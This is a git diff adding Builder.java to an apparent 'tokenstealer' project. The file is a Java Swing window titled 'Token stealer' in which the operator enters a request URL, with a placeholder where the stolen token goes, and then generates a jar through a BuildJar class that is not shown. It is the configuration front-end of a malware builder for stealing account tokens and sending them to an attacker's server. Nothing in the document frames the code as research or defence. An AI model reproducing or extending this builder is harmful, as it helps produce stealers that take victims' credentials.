diff options
Diffstat (limited to 'src/main/java/de/romjaki/tokenstealer/builder/Builder.java')
-rw-r--r-- | src/main/java/de/romjaki/tokenstealer/builder/Builder.java | 52 |
1 files changed, 52 insertions, 0 deletions
diff --git a/src/main/java/de/romjaki/tokenstealer/builder/Builder.java b/src/main/java/de/romjaki/tokenstealer/builder/Builder.java new file mode 100644 index 0000000..2d19e25 --- /dev/null +++ b/src/main/java/de/romjaki/tokenstealer/builder/Builder.java @@ -0,0 +1,52 @@ +package de.romjaki.tokenstealer.builder; + +import javax.swing.*; +import java.awt.*; +import java.io.File; + +public class Builder extends JFrame { + public static final String PLACEHOLDER_HINT = "Use %s as placeholder for the token"; + public static final String COPYRIGHT = "COPYRIGHT: MAINZ DAZ IS!"; + private JTextField requestField; + private JPanel requestPanel; + private JLabel requestLabel; + private JButton generateButton; + + public Builder() { + super("Token stealer"); + setLayout(new GridLayout(0, 1)); + add(generateRequestField()); + add(generateGenerateButton()); + pack(); + } + + private Component generateGenerateButton() { + generateButton = new JButton("Generate!"); + generateButton.setToolTipText(COPYRIGHT); + generateButton.addActionListener(ignored -> BuildJar.buildJar(requestField.getText(), showSaveDialog())); + return generateButton; + } + + private File showSaveDialog() { + JFileChooser chooser = new JFileChooser(); + switch (chooser.showSaveDialog(this)) { + case JFileChooser.APPROVE_OPTION: + return chooser.getSelectedFile(); + case JFileChooser.CANCEL_OPTION: + case JFileChooser.ERROR_OPTION: + default: + return null; + } + } + + private Component generateRequestField() { + requestPanel = new JPanel(new GridLayout()); + requestLabel = new JLabel("Request url:"); + requestLabel.setToolTipText(PLACEHOLDER_HINT); + requestField = new JTextField(40); + requestField.setToolTipText(PLACEHOLDER_HINT); + requestPanel.add(requestLabel); + requestPanel.add(requestField); + return requestPanel; + } +} |